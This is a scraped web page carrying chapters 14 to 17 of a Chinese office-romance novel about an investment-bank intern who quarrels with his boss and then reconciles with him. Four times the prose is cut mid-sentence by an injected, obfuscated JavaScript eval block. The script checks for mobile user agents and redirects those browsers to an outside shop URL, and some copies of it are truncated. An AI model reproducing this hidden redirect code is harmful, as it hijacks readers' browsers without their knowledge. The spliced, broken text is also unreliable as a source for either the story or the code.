他比季然要适应这种场面得多,唐骏先用一个有趣诙谐的小故事作为开头,中间业务方面表述也很专业,结尾振奋人心,给企业方留下了很好的印象。 季然跟在唐骏身后,他的陈述也没有出错,但就是普通。 从演讲人的状态、对现场气氛的调度、还有对自身专业的表述,都显得非常普通。 季然下台,会议室里响起了稀稀拉拉的掌声。 季然看向企业方沉重的表情,心脏重重沉了下去。 完了,他搞砸了。 回程路上寒深没有骂他,但却让季然更难受了。连骂都不骂,想必已经是对他失望至极。 季然屡次想张口说些什 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13732694|145072||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 么,却最终都以失败告终。 他沉默地回了家,又在一个小时后,在朋友圈刷到唐骏分享拿下项目的喜讯,而他这边并未得到任何消息。 显而易见的结果不是吗?季然从来不觉得靠自己那样的演讲就能拿下项目,可为什么他还是觉得这么难受? 季然拖着疲倦的身体回到出租屋,他把书包放在椅子上,给老旧的电脑充上电,呆呆坐在床头。 直到大腿内侧传来一阵钝痛,他这才意识到自己还没有取腿链。 季然脱下西装裤,银色的腿链牢牢陷在他大腿肉里,勒出一道道纵横交错的沟壑,就仿佛精神压力的具象化。 看着这一片痕迹,季然感受到了一股难言的窒息。 因为他的失误,公司丢了一个九位数的大项目,季然陷入了前所未有的沮丧中。 可他很快又愤怒起来,说到底,这都是寒深的不对,如果不是寒深逼他上台,他根本不会犯下这样的失误! 季然开始在网上搜索投行实习生的工作内容,每家企业都有不同的培训方式,也有一些非常优秀的管培生会参与重大项目,但其中绝不包括负责一场竞标会。 普遍来讲,只有中高层才会负责项目开发,下面的分析师、助理、甚至VP都是执行方。 季然又询问公司其他管培生的工作内容,都是很普通的一些项目,像Leo这样参与合成智能的IPO,已经是很重要的工作了。 明明其他实习生的工作都很轻松,寒深为什么就非要让他做这些? 是故意欺负他,好让他主动提离职吗? 季然怒气冲冲地打开招聘软件更新简历,他本科学历好,实习经历也丰富,沪市坐拥上交所,全国大部分券商投行集中于此,季然很快就找到了几个符合他要求的岗位,有一家甚至就在丰盛隔壁,他去面试都不用请假。 可是真的要走吗?直到这一刻,季然又犹豫了起来。 丰盛已经是业界顶尖,离开丰盛的其他选择都是下择。而且丰盛并没有想象中那么差,实习这几个月来,他已经接触了好几个大项目,除了老板外,其他同事都很好…… 而且就算寒深很不好,也还远没有网上那些奇葩领导这么糟糕。 季然纠结了很久,最终还是没有递出简历。他振作起精神,打算剪辑上午拍的腿环视频,可自己状态比想象中还要差,根本无法工作一点儿。 沮丧的季然登录社交账号,自暴自弃地发布一条动态:有点儿难受,大家可以安慰我一下吗? 网友非常善良,大部分都在鼓励安慰他,季然看完评论稍微好受了一些,但依旧无法彻底排解情绪。 他感觉自己就像在森林里迷了路,明明一直在往前走,却永远也走不到正确的地方。 季然想要一个经验丰富的长者,想要一个带他走出绝望的引路人。他曾以为这个人会是他父亲,但是父亲很快就用自己的专制、蛮狠证明他不堪胜任。 季然迷茫,愤懑,又不甘,他知道自己的生活出了问题,却找不到任何可以解决问题的方式。 就在他不抱希望准备下线时,后台虎鲸发来消息:你还好吗? 15. 第 15 章 要告诉虎鲸吗? 季然不是个习惯谈论自身的人,在现实生活中,一些刚认识的人就能很自然地说我今天、我爸、我妈、我家猫猫狗狗怎么怎么样,但季然很少用这种句式,他觉得自己生活乏陈可善,他害怕在别人面前暴露自己。 但现在他太难受了,又或许是隔着网络,让季然能稍微坦然地表达一些自己的情绪。 季然在私信框里敲出一长串文字,但发送前一刻又犹豫了起来。 最终,他把内容全都删得一干二净。 他不能告诉虎鲸。 他根本就不会共情自己。 季然退出社交软件,胡乱地刷着朋友圈打发时间,没想到竟看到了弟弟季丞轩的生日视频。视频中一家三口围在蛋糕前,幸福又喜悦。 季然最近都忙晕了,这才想起今天是弟弟生日。 他发去消息:[红包]弟弟,12岁生日快乐~! 过了一会儿,那边领了红包,回复他:谢谢哥哥。 季然又问:寄给你的礼物收到了吗? 季丞轩:收到了,但电纸书不能看视频也不能打游戏,哥你下次能送我ipad吗? 季然本来想说ipad主要是娱乐,对学习没什么帮助,他这个年纪买来会影响学习。但季然又想起自己小时候想要什么东西,父母也是用各种“正当”理由不满足他的愿望。 季然不想成为这样的家长,他同意了弟弟的要求,只是嘱咐:我明年送你ipad,但你记得多看书,别贪玩儿影响学习。 季丞轩:嗯嗯,我都知道的,谢谢哥。 和季然比起来,季丞轩成绩要差了许多,现在才小学六年级,已经只能勉强及格了。 季然打电话给妈妈,说自己买了本电纸书,让她平时督促季丞轩少玩手机,多看名著。 “什么电纸书?”女人的声音充满了疑惑。 季然向她解释。 “那个啊,”对方这才反应过来,回答道,“他说不喜欢,放在什么咸鱼上卖了。” 季然愣在了原地。 妈妈又说:“你弟弟玩具多得是,放着也是放着,还不如卖了存点儿钱。可惜你小姨送了个大蛋糕,他也是吃两口就不吃了。要是你肯定不会这样,你小时候比他懂事多了。” 是啊,他懂事多了。 他过生日从来没有收到过任何玩具,连生日蛋糕都没有吃过。季然心疼爸妈工作辛苦,也从来不会张嘴要什么。等他后来可以自己工作买玩具,买蛋糕,却早已经过了需要那种仪式感的年纪。 可季然不明白,明明他家从小穷到大,连大学生活费都是季然自己挣的,怎么他一长大,家里条件就变好了呢? 一晚上季然都没有睡好,一会儿梦见弟弟丢了他的礼物,一会儿梦见寒深对他说:Julian,你被开除了。 季然头晕脑胀地起床,洗漱,刚从卫生间出来,又在门口看到一道陌生的身影。 他室友站在门口,足足看了他好几秒,这才说:“早上好。” 季然有3个室友,他隔壁的男室友住主卧,自带独立浴室,按理说不会使用外面的公共浴室。也不知道今天怎么撞上了他…… 季然又想起他拍视频时被对方围堵,连忙转身回了房间。 他反锁房门,又蹑手蹑脚换好衣服,确定门外没人后,才背着电脑出了门。 地铁依旧拥堵,季然挤了两趟才上车,他单手抓着吊环,戴上耳机开始听早间财经新闻。 越靠近市中心人越多,整个车厢都挤满了人,导致季然下车时,不得不伸手把面前的人扒开,嘴里大喊:“不好意思,请让一下,这里有人要下车。” 季然费尽全力终于挤下了车,却察觉有东西从他耳朵上滑落…… 靠,他耳机被挤掉了。 季然连忙转身,地铁门却已经关闭,载着他的耳机一同远去。 季然站在原地崩溃了一分钟,直到下一班列车抵达,季然这才默默摘下另一只耳机,随着汹涌的人群进入公司大楼。 周一早上九点,同事们在互相问候,分享自己的周末生活。 季然把自己丢进椅子里,觉得自己的人生都糟透了。 “Julian,”Asher透过挡板喊他,“上交所修订了股票发行上市审核规则,这是最新版本,合成智能的招股书还是用的旧版吧?你安排人更新一下。” 季然其实听到了,但他依旧保持着坐立的姿势,什么也没有回答。直到一只大手落在他肩膀,季然这才从那种奇怪的状态中抽离。 Asher弯腰注视着他,墨绿的眼睛里写满了担忧:“你还好吗?” 季然抬头看着Asher,觉得有些不可思议。Asher每天工作这么忙,怎么还还有精力关心别人呢? 季然很感谢Asher的善意,可现在他只想自己一个人呆着,变成一只阴暗扭曲的臭虫,无差别的攻击所有人。 “我没事,”季然挤出一个笑,又对Asher说,“抱歉我有些走神,你刚才说什么?” Asher把刚才的话又说了一遍,季然表示自己知道了。 他打开电脑,把最新条款更新到招股书。Asher说他可以安排别人,可他只是个实习生,整个项目的同事职位都比他高,资历也比他老,他能安排谁?最后还不只能自己干。 更新条款不难,只是比较麻烦,一页页认真核对就不会出错。 季然打开文档,刚往下翻了两页,电脑突然出现蓝屏。 又开始卡了。 季然熟练地关掉其余多余文档,以往好用的方式这次却不起效,他按住电源键强行重启,出现的却是一堆乱码,电脑彻底报废了。 季然大脑有一瞬空白,还没来得及想好要怎么办,头顶突然落下一道声音。 “Julian,来我办公室一趟。” 季然呼吸一滞,几乎不敢抬起头。 寒深来公司了。 他要挨骂了吗? 季然慢吞吞从椅子上站起来,大脑突然一片眩晕。 而且他电脑怎么办?还能修好吗?该不会连资料都会消失吧? “Julian,”办公室,寒深目光沉沉地看向他,“你有在听吗?” 季然:“没有。” 话一出口季然就觉得自己要挨骂,寒深却只是看了他一眼,继续谈论正事:“兰亭酒业这个项目你有没有什么想法?” 季然:“没想法。” 寒深:“你有没有分析过他们更适合哪条上市路径?” 季然:“不知道。” 寒深敲了敲桌子:“Julian,请注意你的态度。” “我态度怎么了?”季然整个人都无比紧绷,就仿佛一颗被吹到极致的气球,在寒深的步步紧逼下终于爆炸了,他愤怒地反问,“请问您是不满意我的态度,还是根本就不满意我这个人?” “你在生气?”寒深终于反应过来,却是不解,“但是为什么?” 他不是阴阳怪气,他是真的不理解。 他竟然不知道自己为什么生气! 季 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13732695|145072||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 然双手握拳,几乎是大喊出声:“因为你一直在故意刁难我!” 他从来没有用过这么大的声音说话,甚至在办公室里出现了短暂的回音。 寒深没有说话,办公室里陷入了死一般的安静。 在这片诡异的寂静中,季然心脏猛地跳动起来。 他疯了吗? 他刚才做了什么?他冲自己老板大喊大叫?工作还要不要了? 季然明知道自己不该冲寒深发火,可大脑此刻却产生了一股诡异的快感,催促着他进一步发泄怒意。 “我问了其他管培生,他们根本就不会有这些工作,”季然变得完全不像自己了,他抬头看向寒深那双冷淡的眼,怒气冲冲地指控,“可你一直给我安排超出我能力之外的工作,让我管理项目,参加各种饭局,还强迫我上台演讲,甚至连招揽项目这么重要的事情都推给我,我明明说了,我根本做不到,我……我……” 他突然停了下来,自责、愧疚、无能…… 巨大的挫败感如海啸般淹没了他,季然伸手捂住自己脸颊,眼泪瞬间沾湿了他的掌心。 哭什么哭,哭个屁! 究竟什么时候才能改掉一吵架就掉眼泪的坏毛病! 季然粗暴地抹了一把脸,又强行把眼泪憋回去,然后愤怒地抬起头—— 反正都要离职了,至少吵架不能输。 至此,这个一直以来乖巧得过分的男生,在此刻终于显露了他真实的情绪。 他在表达自己的愤怒,他在用愤怒为自己争取些什么。 寒深沉默地看了他许久,最终选择尊重季然的意愿:“你如果真觉得自己做不到,可以选择离开。” 季然的心重重沉了下去,寒深果然是要逼走自己。 既然寒深根本就看不上他,那他一个劲儿的坚持还有什么意义? 季然心里乱得要命,头也不回地冲出了办公室。 “Julian,”他刚回到工位,Asher就抱着两个盒子朝他走了过来,“总算找到你了,这个你拿着,刚给你申请的办公设备。” 一台最新款MacBook Pro,还有iPad pro。 季然完全没反应过来,呆了好几秒才问:“为什么给我这个?” Asher解释:“上周Samuel就交代我,我工作太忙忘了,抱歉啊。” 上周就……? 寒深上周确实来找过他改资料,他电脑也确实在那时卡了十几秒。 可就因为这个?季然呆呆看着面前的电脑,依旧有些不敢相信。 见他还有疑问,Asher又进一步解释:“笔记本电脑是公司统一配的,本来是正式入职才有,但听说你电脑性能一般,就提前给你申请了。平板是Samuel自己给助理配的,方便我们处理一些日常工作。” 季然愣愣地看着这一幕,眼前逐渐弥漫起水雾。 他明明不觉得有什么,可是眼睛一眨,眼泪就掉了下来。 “哎,你别哭啊,”Asher慌乱起来,“我就晚了几天,应该不至于这么伤心吧?” “不、不是的,”季然狼狈地摇头,“不是因为你……只是我……我……” 他张嘴想要解释,却只溢出一串哽咽。 季然也不知道自己为什么要哭,但眼泪根本就控制不住。明明他的电脑只卡了十几秒钟,明明从来就没有人在意…… 可偏偏寒深注意到了…… 长久积压的情绪在此刻喷涌而出,季然把脸埋进臂弯,眼泪掉得更凶了。 16. 第 16 章 季然没有崩溃太久,大约一分钟后,他就擦干眼泪对Asher说:“对不起,给您添麻烦了。” “没事儿,”Asher拍了拍他肩膀,缓声道,“我们都有艰难的时候,哭完继续工作就好了。” “可我……”季然低下头,有些沮丧起来,“可我已经不能继续在这里工作了……” “为什么?”Asher很意外,“你要离职?” 季然摇头,小声道:“是Samuel不喜欢我……” “怎么会?”Asher惊讶道,“是不是有什么误会?他不是这样的人。” 季然闭上眼,痛苦道:“Samuel昨天让我参加了一个竞标会,我把项目丢了……” Asher似乎准备说什么,但季然已经继续说了下去:“可实习生根本不会参加这么重要的工作,如果不是为了让我犯错赶我走,他又怎么会做出这种事情?” Asher:“可如果他真要赶你走,又怎么会让我给你准备新的办公设备?” 季然被他问住了,他试图说服自己:“可能Samuel觉得我的旧电脑影响工作。” “那不是正好?”Asher说,“这样他就有理由让你离开了。” 季然愣在了那里。 确实,这件事逻辑上说不通。 难道是他误会了,其实寒深并不想赶走他?可既然不是针对他,又为什么会安排他这种工作……? “再和他谈谈吧,”Asher拍了拍季然肩膀,“你是很优秀的员工,离开对Samuel和我来说都是损失。” Asher的赏识让季然心里好受了不少,他擦干眼泪,小心翼翼地抬起头:“那我再和Samuel谈谈?” “进去吧,”Asher说,“他还有半小时的空闲时间。” 季然去洗手间洗了把脸,确定看不出什么问题后,重新回到了寒深办公室。 “Samuel,”季然站在桌前,有些尴尬地开口,“可以谈谈吗?” 他已经在非常用力地遮掩自己哭过的痕迹,但他嗓音带着哭后特有的沙哑,眼睛周围的红晕也没能彻底散去,哪怕一个三岁小孩儿也能看出来他刚哭过。 寒深没有戳穿季然,也没有安慰他。因为他知道季然不想在自己面前哭,也不愿意向他展示任何脆弱。 “可以。”寒深从办公椅上起身,走到一旁的会客茶几旁坐下,他只有谈大事时才会选择茶几。 季然站在原地,不知要不要跟过去,直到寒深对他说“坐”,季然这才小步往前,有些拘谨地坐在了他对面。 寒深给季然倒了杯水,说:“你想谈什么?” 季然受宠若惊地说了声谢谢,伸手接过水杯抿了一小口。 又过了好几秒,他这才抬起头,谨慎开口:“您还想继续留我工作吗?” “Julian,这件事的选择权在你,”寒深抬头看他,“事实上,我从未想过让你离开。” 我从未想过让你离开。 季然大脑有一瞬的空白,哪怕他已经从Asher的分析中猜到了这种可能,可现在听见寒深亲口承认,还是感到非常意外。 他双手握紧水杯,有些迟疑:“可您为什么要派那样的工作给我,我根本无法完成……” 寒深说:“我以为你可以完成。” 寒深这么相信他,他却把这件事彻底搞砸了…… 季然心情复杂地低下头:“对不起,我没能完成您的期待……” 他鼻头一酸,竟又要落下泪来。 可最终季然忍住了,事情已经发生,哭着道歉并不能改善现状,不过是为了能让自己好受一些而已。 季然抬起头,仿佛下定了什么决心:“这件事还有回转的余地吗?我想再和兰亭酒业的人谈谈。” 寒深有些意外地看了他一眼:“你打算怎么做?” “既然当初金石投行可以撬走我们的项目,那我们也完全可以效仿对方。”季然重新振作起来,“更何况丰盛本来就有这个能力,我们提出的方案也很优秀,只是因为我的宣讲没能完全表达清楚丰盛的优势。我想和兰亭酒业的人再见一次面,这次我一定好好准备,让他们明白丰盛的优势。” 季然说完,寒深一直没有表态。大约过了十秒,寒深这才说:“思路不错,但是不必了。” 季然心头一沉,果然还是晚了吗? 也是,商场如战场,大家都是竞争关系,又哪有这么容易弥补…… “对不起,”季然低下头,小声道,“是我太天真了……” “不要因为一次失败就全然否定自己,失败并不可怕,这次发挥不好那就下次继续。”寒深说,“就算是我,也有没能拿下项目的时候,关键是要从失败中汲取教训,争取下次成功。” 道理他都懂,但又有谁愿意失败啊?而且还是这么大的一个项目…… 如果他昨天好好表现,这个项目根本就不会丢。季然再次沮丧起来。 寒深:“更何况,项目并没有丢。” “项目没丢?”季然难以置信地抬起头。 “竞标看的是整体能力,场内因素只占很小的一部分,”寒深告诉他,“虽然我们的竞标宣讲不算完美,但他们看中的是丰盛的综合能力,这个项目将由我们和金石投行共同负责。” 季然以为寒深帮他兜底了,有些自责:“难道您后面又找过他们?” “没有,”寒深告诉季然,“其实在一个月前,兰亭酒业就找到了我们,希望能和丰盛合作上市项目。” “一个月前就?”季然很震惊,“那为什么还要参加竞标?” 寒深说:“但考察后我发现项目复杂,且回报平平,就拒绝了他们。没想到兰亭酒业老总和丰盛股东有交情,董事会向我施压。为了减轻压力,我提出和另一家券商合作,联合承销。他们这次宣讲是选择另一家券商,丰盛早已内定,宣讲只是走个过场而已。” 季然这才明白过来,怪不得之前他说自己负责不了这个项目,寒深一脸好奇地看着他,表示:你是我下属,自然是我替你负责。 他本以为这只是寒深敷衍他的漂亮话,没想到对方早做了准备。 季然又想起那些出事了就把责任推给实习生的公司,他想,寒深虽然不是个善解人意的领导,但至少他承担了属于自己的责任。 季然松了口气,又隐隐有些失落,故作轻松道:“那您让我上场,就是让我去凑数的吧。” “不是,”寒深一脸你怎么会这么想的表情,“首先,这个宣讲并不需要人凑数,而且如果只是想让你凑数,我也不会绕了大半个城市来接你。” 季然愣了愣:“您当时不是说,是从机场过来顺路吗?” 寒深没有回答这个问题,而是说:“我只是觉得,这对你来说是一个不错的锻炼机会,但现在看来,似乎有些太激进了,给你……” 他目光落在季然红肿的眼睛上,补充:“给你造成了不小的冲击。” 到现在,季然已经完全理解了寒深的用意。 或许在寒深看来,这只是一场对季然的普通尝试。因为恰好有这个机会,于是他让季然上了,宣讲顺利当然好,但发挥不好也没什么大不了,毕竟对寒深来说,这只是一个锻炼场合,不会对结果造成任何影响。 季然完全理解了,但他依旧很生气。 “您下次再做这种事之前,能不能稍微考虑一下我的处境?”季然突然站了起来,“在你眼里,你可能觉得这只是一个无关紧要的锻炼,可我什么都不知道,我毫无预兆地上台,整个周末都在为弄丢了项目而焦虑。” 寒深表情有些错愕。 季然更委屈了,尤其是当他理解寒深理由的正当性后,他变得更加愤怒了。 “你这么优秀,又有家庭托底,自然觉得一次失败无关紧要。可我不一样,光是走到这里就已经用尽了全力!”季然抬头看向寒深,他感觉自己又要哭了,但他努力忍了下来,只是说,“这些年来我一直单打独斗,做什么都是一个人决定,不管什么结果都是我自己负责。我拼了命的学习,每一次选择都慎之又慎,每一次行动都要准备到完美。因为我清楚自己身后没有别人,我没有犯错的余地。” “我好不容易才有了今天的成绩,可你却仅仅因为一次尝试,就毁掉了我的生活。你们这些精英,能不能稍微有点儿对普通人的同理心?” 季然说完,陷入了强烈的情绪起伏中。他胸膛因为愤怒急促起伏,眼里再次蓄满泪水,却没有哭。 这正是战斗的关键时刻,决不能在这种时候哭出来。 季然已经无所谓去留了,吵了这么大一架,寒深脾气再好估计都容不下他了。 但是他并不后悔,说出来他感觉舒服多了。 寒深似乎很震惊,然后就陷入了漫长的沉默中。 也不知道他怎么想 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13732696|145072||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的,他竟然递了张手帕过来。 季然不要。 寒深坚持要给他。 季然瞪了寒深一眼,一把拖过他那张几千块的高级手帕,狠狠擤鼻涕,发出了非常不礼貌的声响。 季然有意挑衅对方,寒深却没有丝毫动怒的迹象,反而语气诚恳地说:“抱歉,这件事是我的错,我没有考虑到你的想法。” 道歉而已谁不会?他根本不觉得寒深会真的觉得抱歉。 季然不吭声,寒深又递了一张手帕过来。 季然不要。 寒深就把手帕放在季然面前的茶几上,又说:“我想请你留下来,继续跟进兰亭酒业这个项目。” 他就差指着他鼻子骂了,寒深竟然还愿意要他? 季然心想,他本该感恩戴德的,他应该像往常一样说可以,然后转身出去继续工作。 然而当他开口时,说出的话却变成了:“如果我不想跟进呢?” 寒深:“是不想留下还是不想跟进项目?” 季然:“……” 好狡猾的一个人,竟然一下就抓住了他的漏洞。 季然没考虑清楚,也和寒深打马虎眼:“我太忙了,我管不过来。” 寒深抬眸,似乎有些惊讶:“你工作压力很大?” “大得要命,”季然连装都不装了,直接道,“工作真的太多了,来到总办后,我几乎天天加班到凌晨,没有任何私人时间。” 寒深:“可你的工作量只有正式助理的二分之一。” 季然:“可我的工作已经是普通实习生的2倍。” 寒深看了他一眼:“所以你还是要走吗?” 季然沉默了好几秒,终于做出了决定,他抬头看向寒深:“我可以留下,但是得加钱。” 寒深:“你想加多少?” 季然深吸一口气,谨慎地伸出两根手指。 “可以,”寒深很干脆,“在你实习日薪基础上,我给你双倍工资。” 双倍? 季然整个人都呆住了。 他只想涨薪20%。 结果寒深说可以给他双倍??? 双倍工资是什么概念,季然现在实习日薪400元,他一个月至少能工作25天,再算上出差补助,已经可以稳定月万。 而现在,寒深要给他双倍工资,那也就意味着……他实习工资可以接近两万? 两万块,季然这辈子都没拥有过这么多钱,而这仅仅只是他一个月的实习工资! 季然已经激动得手足无措了,可不知是不是加薪成功给了他勇气,他并未就此离开,而是继续说道:“我还有两个要求。” 寒深:“你说。” “我可以适度加班,但我不想临时加班,”季然看向寒深,继续道,“而且如果有出差,我希望你们能提前一天通知我。” 他是个99%的J人,真的非常不喜欢突发状况。 寒深沉默了一会儿,说:“很抱歉,我不能保证做到以上两点。” 季然抿了抿唇,他想说什么,但是忍住了。 寒深:“我理解你不希望被打乱生活的心情,但你知道我们的行业性质,总能遇到突发状况,需要及时处理,一些合作机也会稍纵即逝,不容丝毫犹豫。” 季然当然也明白这个道理,公司同事也经常接到临时出差,又或者要在2个小时里出具一份项目计划。就连寒深自己也是如此,他们第一次见面时,因为合成智能项目出现问题,寒深就连夜从国外赶了回来。 他们似乎早已经习惯了这样的工作模式,显得季然反而是个异类。 “初入职场都会有一段时间的不适应,”寒深对季然说,“如果下次再有类似情况,我会第一时间通知你,尽量给你预留出反应时间。” “你觉得可以吗?” 涨薪后面两个要求本来就是附加,季然选择了投行这份工作,自然也明白其中的挑战和压力。能够得到上司表态,他已经很满意了。 季然点头,说可以。 寒深又问:“你还有什么问题吗?” 季然本来想说没有了,这次谈话的结果他已经非常满意。 可看着对面西装笔挺、仿佛永远不知疲倦的寒深,季然突然很是好奇:“您怎么能一直保持高效率工作?就一点也不会觉得累吗?” 寒深似乎有些意外,但还是回答了季然:“当然也会累,但我习惯了。” 17. 第 17 章 兰亭酒业项目合同签订后,季然跟随项目组一起前往酒厂尽调。 兰亭酒业虽然对外给人一种很新潮、年轻化的感觉,但企业是家族化经营,整体氛围趋于保守。 第三天上午,丰盛VP有工作先行离开,剩下分析师和三位管培生留下继续工作。分析师带着Leo和财务总监见面,季然和另外一位管培生去采访大老板。 兰亭酒业老总是一个60多的老头儿,不仅长得凶,脾气也很差,见他们年纪小,几番沟通下来都不太配合。 被问到企业核心竞争力时,老头儿更是直接甩了脸:“我请你们来就是让你们解决问题,要是什么问题都要我来回答,那拿你们还有什么用?” 和季然一同采访的是一个叫何书含的女生,性格内向,说话细声细气。她被老头儿吓了一跳,有些无措地看了季然一眼。 “有什么问题吗?”老头儿开始瞪他们,“采访我就派你们这些什么都不懂的小崽崽来,能有什么用?” 这种老头儿一看就是被吹捧习惯了,恨不得当个天王老子横着走。 季然在心里骂了句脏话,却是笑着接过话头:“贵企既然选择了丰盛,想必也是承认我们的工作能力。采访只是手段,关键是要把兰亭的真实状况展现出来,让监管机构和投资方相信兰亭的实力。您觉得对吗?” 老头儿哼了一声,似乎是接受了这种说辞,一脸骄傲地说:“兰亭的核心竞争能力,当然是我们的白酒产品,这款酒……” 采访结束,季然和何书含收拾东西离开办公室。 “终于结束了,”何书含把录音笔放进口袋,松了口气,“刚才我都紧张死了,还以为什么都拿不到呢。” 季然点点头:“还好最后拿到了一些有用的资料。” “多亏有你,”何书含抬头看了季然一眼,有些感慨,“没想到你竟然变了这么多。” “嗯?”季然有些茫然,“哪里变了?” “也不是变了,就是给人的感觉和之前不一样了,”何书含想了想,说,“之前我们都不擅长处理人际冲突,但今天你却能哄着那个总裁完成了采访,感觉你成长了很多。” 成长? 这个词对季然来说有些陌生,他不觉得自己有哪里成长了,相反他经常失眠,压力大到爆炸,经常觉得自己一无是处。 季然笑了笑,摇头说:“我只是不得不做,其实我也不擅长应对这种场面。” “是吗?”何书含很震惊,“一点也看不出来,我觉得你处理得可好了。” 天天被寒深逼着做这做那,无数次压力大到想要崩溃,还要硬着头皮收拾烂摊子…… 经历了这些,这种老头儿的刁难都只能算小意思了。 “都是演的而已,”季然笑着摇头,“毕竟在投行里,内向的人很难生存。” “是啊,”何书叹气,“职场对i人真是太不友好了,之前我都在想,与其在这里受这种窝囊气,不如干脆回去读博得了。” 季然有些羡慕:“其实我也考虑过读研。” “那你怎么不去?”何书含好奇,“你成绩这么好,第一学历又高,完全适合搞学术。” 季然又想起自己说想考研时,父亲那沉重无奈的叹息。 当初自称砸锅卖铁都要供他读书的男人,现在又觉得本科毕业就够了。 父母都是初中毕业,季然也不期望他们有多高的认知,能供他上完大学,他已经很感激了。 季然垂下眼眸,平静道:“我觉得有工作经验再读研,应该会有不一样的体验。” “有道理,”何书含点头,“如果不是出来工作,我也不知道我还挺喜欢搞学术的。” 今天的考察任务很多,采访结束,他们又马不停蹄地去了工厂,等忙完已经是傍晚。 考察最后一天,企业的人充分发挥了酒企文化,给他们准备了一场送别晚宴。季然受不了天天应酬,找了个借口溜回了酒店。他确实有工作要忙,季然让何书含把白天的采访录音发给他,打算今晚把采访稿整理出来。 不料2分钟后,对方回复他录音笔不见了。 [Julian]:怎么回事? [Emma]:我下午借给Leo了,他现在还没找到…… 季然又问Leo,对方说可能落在了工厂,时间紧急,他们明天一大早就要离开,季然决定和Leo一起回去找。 此时已经是晚上十点,工人已经下班,整个工厂都暗了下来,一栋栋建筑坐落在山间,像是一头沉睡的怪兽。 Leo去了污水处理站,季然朝着酒库走去。夜深人静,整个酒窖都黑黢黢的,安静得可怕。 季然用手机手电筒照亮四周,终于在酒桶角落里找到了丢失的录音笔。 他正准备离开,角落里却闪过一道黑影,季然还未来得及细看,眼前突然蹿出一片火光——酒窖失火了!! 【呜——呜——】 【呜——呜——】 红色消防车穿过小镇宁静的夜晚,季然裹着羽绒服坐在酒窖门口的花坛旁,看着消防员拖着水枪冲进地窖。 因为发现及时,灾情很快得到了控制。 季然终于放下心来,起身准备离开,却不料又在门口撞到了酒企老总。 季然不太想和他打招呼,对方却朝他走了过来,一脸感激道:“还好你发现得早,不然就不是损失两桶酒的事情了。” 季然在心里骂了这人好几回,突然被对方感谢,还有点儿不好意思:“损失不大就好。” 现场很混乱,老总很快又被警察叫走协助调查,季然如实说出自己看到的,就起身离开了。 “听说你遇到了火灾?”还没走出酒厂,Asher的电话就打了进来,“怎么样?有受伤吗?” “没事,”季然说,“现在火已经灭了,损失还在可控范围内,警方和工厂的人正在调查。” Asher:“那你呢?” “我也没……”季然话还没说完,就被Leo抢过手机,男生中气十足地朝电话那头吼:“季然他受伤了,但是他不想去医院!” 季然:“……” 还兴告状是吧? “先去医院,”Asher说,“手头的工作可以先缓一缓,公司会派人过来处理。” “不用这么大费周章吧?”季然是真的觉得没必要,“我只是轻微擦伤,你们不用大老远过来……” Asher:“人已经在路上了,一个小时后到。” 季然:“……” 话都说到这份儿上,他再拒绝也没用了,只得点头道:“那辛苦你了。” 季然打开地图查询医院位置,Leo本来想陪他一起去,但因为他也看见了事故现场的人影,被警察留下调查。 季然在工厂门口等了十分钟都没打到车,他又不是那种会心安理得麻烦别人的类型,犹豫再三,季然干脆步行回了酒店。 尽调的资料可以晚一点儿再整理,但公司的日常工作却不能拖延。 季然把白天没空做的工作做完,再按照要求汇总给寒深。 没有得到回复。 兰亭酒业起火的消息上了本地新闻,季然陆续又收到了不少同事的慰问,他一一回复报平安,这才发现2个小时前,爸爸曾给他发过一条消息:有急事相商,收到请回电。 急事? 现在都快12点了,季然担心吵到他们,但又怕真错过什么事,先发了条文字消息过去:睡了没?方便说话吗? 消息刚发出去,那边电话就打了进来。 “什么事?”季然有些紧张,“家里出什么事了吗?” 那边开的免提,季然听见了妈妈的声音:“怎么这么久才回消息,工作很忙吗?下班没有?” 季然“嗯”了一声,又问找他有什么事。 那边沉默了一会儿,笑着说:“我想着你生日快到了,我们准备来沪市给你过生日,你方不方便?” 要不是妈妈提起,季然都快忘记自己的生日了。 季然独自在外打拼,家人过来他其实是高兴的。但高兴之余,也觉得有些不太方便。 他现在一穷二白,爸妈过来了根本招待不过来。他也不想父母大老远过来还要挤公交,搭地铁,一分钱掰成两瓣花。 但听着 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 